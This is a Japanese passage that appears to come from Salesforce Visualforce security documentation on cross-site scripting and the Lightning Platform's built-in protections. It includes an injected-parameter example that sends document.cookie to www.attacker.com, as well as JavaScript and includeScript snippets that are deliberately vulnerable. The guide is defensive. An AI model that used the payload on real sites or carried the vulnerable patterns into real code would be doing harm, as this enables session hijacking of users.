クロスサイトスクリプト (XSS)
クロスサイトスクリプト (XSS) 攻撃では、悪意のある HTML またはクライアント側スクリプトが Web アプリケーションに提供されます。Web アプリケーションには、意図せずに攻撃の犠牲になっているユーザーに対して、悪意のあるスクリプトが組み込まれます。攻撃者は、Web アプリケーションに対する被害者の信頼を利用し、攻撃の媒体として Web アプリケーションを使用しています。データを適切に検証することなく動的 Web ページを表示する多くのアプリケーションは攻撃されやすいといえます。Web サイトに対する攻撃は、あるユーザーからの入力を別のユーザーに表示する場合に特に発生しやすくなります。可能性として、掲示板、ユーザーコメントスタイルの Web サイト、ニュース、またはメールアーカイブなどがあります。
1<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo = '{!$CurrentPage.parameters.userparam}';</script>11';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2この場合、現在のページのすべての Cookie が cookie.cgi スクリプトに対する要求のクエリ文字列として www.attacker.com に送信されます。この時点で、攻撃者は被害者のセッション Cookie を持っており、攻撃者は被害者になりすまして Web アプリケーションに接続できます。
攻撃者は、Web サイトまたはメールを使用して、悪意のあるスクリプトを送信できます。Web アプリケーションユーザーにより攻撃者の入力が表示されるだけでなく、ブラウザーによって信頼されたコンテキストで攻撃者のスクリプトを実行することもできます。こうした機能により、攻撃者はさまざまな攻撃を被害者に対して行うことができます。このような攻撃は、ウィンドウを開いたり閉じたりするなどの単純なものから、データやセッションクッキーを盗むような悪質なものまで、多岐にわたります。
この種の攻撃の詳細については、次のサイトを参照してください。
- http://www.owasp.org/index.php/Cross_Site_Scripting
- http://www.cgisecurity.com/xss-faq.html
- http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
- http://www.google.com/search?q=cross-site+scripting
Lightning Platform 内には、複数の対 XSS 防御策が組み込まれています。たとえば、多くの出力メソッドの有害な特性を除外するフィルターが用意されています。標準クラスおよび出力メソッドを使用する開発者に対する XSS の脆弱性の脅威は、大幅に緩和されています。ただし、クリエイティブな開発者によって、デフォルトのコントロールを意図的または偶然に、エスケープする方法がいまだに見つかっています。
既存の保護
1<apex:outputText>
2 {!$CurrentPage.parameters.userInput}
3</apex:outputText>Visualforce タグのエスケープの無効化
XSS から保護されていないプログラミング項目
カスタム Javascript コードと <apex:includeScript> コンポーネント内のコードには、XSS 保護機能が組み込まれていません。これらの項目は、開発者がスクリプトコマンドでページをカスタマイズできます。意図的にページに追加されるコマンドに対 XSS フィルターを指定しても意味は��りません。
独自の JavaScript を作成した場合、Lightning Platform にはユーザーを保護する方法がありません。たとえば JavaScript で使用している場合、次のコードは XSS の攻撃に対して脆弱です。
1<script>
2 var foo = location.search;
3 document.write(foo);
4</script><apex:includeScript> Visualforce コンポーネントにより、ページにカスタムスクリプトを追加できます。内容が安全で、ユーザーが入力したデータが含まれていないことを確認してください。たとえば、次のスニペットはスクリプトテキストの値としてユーザー指定の入力が含まれているため脆弱です。タグによって指定された値は、使用する JavaScript への URL です。攻撃者が次の例内のこのパラメーターに任意のデータを入力できる場合、被害者に別の Web サイトの JavaScript ファイルを使用するよう指示できます。
1<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />